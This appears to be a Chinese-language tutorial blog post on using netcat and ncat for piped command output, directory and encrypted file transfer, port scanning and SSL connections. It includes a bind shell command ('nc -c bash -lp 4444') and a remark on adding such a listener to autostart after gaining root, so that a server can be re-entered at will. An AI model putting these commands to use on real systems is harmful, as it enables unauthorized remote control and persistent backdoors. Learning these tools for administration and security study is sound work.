我们知道netcat可以实现远程命令行的文本传输,那么这个传输有什么作用呢?(难道拿来聊天吗2333)
实际上,这个功能比较常用于信息收集的时候远程电子取证。使用管道|
和重定向>
来传输一台电脑上输入某个命令以后得到的信息:
IP地址为196.168.183.134的服务器端开启一个端口4444用于信息传输,并将对方传输过来的信息重定向存入info.txt文件中:
nc -l -p 4444 > info.txt
客户机输入命令(以ps为例),利用管道和netcat将信息传输给服务器:
ps aux | nc -nv 196.168.183.134 4444
由于nc连接不会自己停止,信息传输成功也没有提示,所以我们可以使用-p
来实现传输完后一段时间就关闭nc连接: -p 后面的数字作为参数指定时间
ps aux | nc -nv 196.168.183.134 4444 -p 1
这样只要我们看见nc连接关闭,就知道我们的传输已经结束了。
管道的功能:
将前一个命令的输出作为后一个命令的输入
前一个命令 | 后一个命令
nc
并不能传输一个目录,但借助tar
压缩和解压。将我们需要传输的目录压缩为一个文件就可以传输了:
发送端:(同时作为服务器,其IP为192.168.183.131)
tar -cvf - TestFile/ | nc -lp 4444 -q 1
接收端:
nc -nv 192.168.183.131 4444 | tar -xvf -
nc
有一个缺点在于其本身是透明传输。要实现加密只能借助别的命令。这里使用mcrypy
命令配合nc
实现加密传输1.mp4这个文件
发送端:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 1.mp4 | nc -nv 192.168.183.131 4444 -q 1
接收端:(IP为192.168.183.131的服务器)
nc -lp 4444 |mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
扫描目标服务器192.168.183.131 的1到21号端口
nc -nvz 192.168.183.131 1-21
操控方:
nc -nv 192.168.183.130 4444
被控制方:
nc -c bash -lp 4444
黑客们成功获取服务器root权限以后,创建一个远程控制命令脚本添加到自启动,就可以实现时刻侦听这个服务器的某个端口实现随时再进入服务器操纵。
Tip:在windows上将bash
换成cmd
nc存在一点缺陷比如自身的透明传输、不支持身份验证等。为了解决这些安全问题,出现了ncat。其本身是属于nmap工具包的一员。一般没有默认安装,可能需要手动安装。
不过安装ncat以后再使用nc好像就是默认运行ncat了。比如端口扫描的时候只能扫一个端口不支持扫描一个范围否则会报错:
想批量扫描只能使用脚本了
发送端:开放4444端口侦听,只允许IP为192.168.183.131的机子连接 ,接收一个.mp4文件并命名为2.mp4,使用ssl方式加密
ncat --allow 192.168.183.131 -nvl 4444 --ssl > 2.mp4
接收端:以ssl方式通过4444端口连接一台IP为192.168.183.130的服务器,发送1.mp4文件
ncat -nv 192.168.183.130 4444 --ssl < 1.mp4
虽然ncat是netcat的升级版,能实现所有nc能实现的功能,但有一些参数可能不一样。比如ncat并不支持参数-q
。
并且ncat在不同系统上实现某一功能的参数也可能不一样。使用前建议man ncat
查询一下参数